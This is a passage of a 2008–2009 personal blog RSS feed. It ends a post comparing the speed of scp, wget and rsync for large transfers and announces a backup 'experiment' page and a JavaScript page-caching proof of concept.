    &lt;li&gt;scp includes the time it took my to type in my 40+ character password.  Subtract out at least 3-4 seconds.&lt;/li&gt;
    &lt;li&gt;scp and wget actually locked up my network connection.  putty timed out.  top indicated than an entire core was dedicated to the copy.&lt;/li&gt;
  &lt;/ol&gt;
&lt;/p&gt;
&lt;p&gt;So there you go - if you need to transfer several hundred gigabytes, use scp.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update (1/3/2009):&lt;/strong&gt; Having desired the comparison facilities of rsync, I can add that rsync over ssh compares favorably, and is in the same neighborhood as straight ssh.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/lYhGHat_qww" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/lYhGHat_qww/blog-fastest_data_transfer_protocol.html</link><feedburner:origLink>http://ritter.vg/blog-fastest_data_transfer_protocol.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-bastardizing_a_backup.html</guid>
		<title>adventure in code added</title>
		<pubDate>2 Nov 2008 16:11 EST</pubDate>
		<description>&lt;p&gt;A horrible experiment gone wrong from last weekend has been immortalized on the new &lt;a class="themainlink" href="code_adventures_backup.html"&gt;adventures in code&lt;/a&gt; section.  I'm hoping people won't read it and judge me harshly - I posted it as a joke demonstrating a horrible idea.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/b2tE5NkQzww" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/b2tE5NkQzww/blog-bastardizing_a_backup.html</link><feedburner:origLink>http://ritter.vg/blog-bastardizing_a_backup.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-page_level_caching_using_javascript.html</guid>
		<title>proof of concept added</title>
		<pubDate>28 Oct 2008 21:57 EST</pubDate>
		<description>&lt;p&gt;I've been shuffling things around and adding links here and there, but I just put up the first significant content the other day, a Proof of Concept I thought up.  Jeff at CodingHorror and StackOverflow had mentioned on the Hanselminutes podcast that they weren't able to do page-level caching because the page is dynamic. That's true, but I got to thinking - I can get around that.  And the result is posted - &lt;a href="/poc/code_poc_cacheviajs.html" class="themainlink"&gt;check it out if you're curious&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/IqZ6M2j7IwU" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/IqZ6M2j7IwU/blog-page_level_caching_using_javascript.html</link><feedburner:origLink>http://ritter.vg/blog-page_level_caching_using_javascript.html</feedburner:origLink></item>

</channel>
</rss>
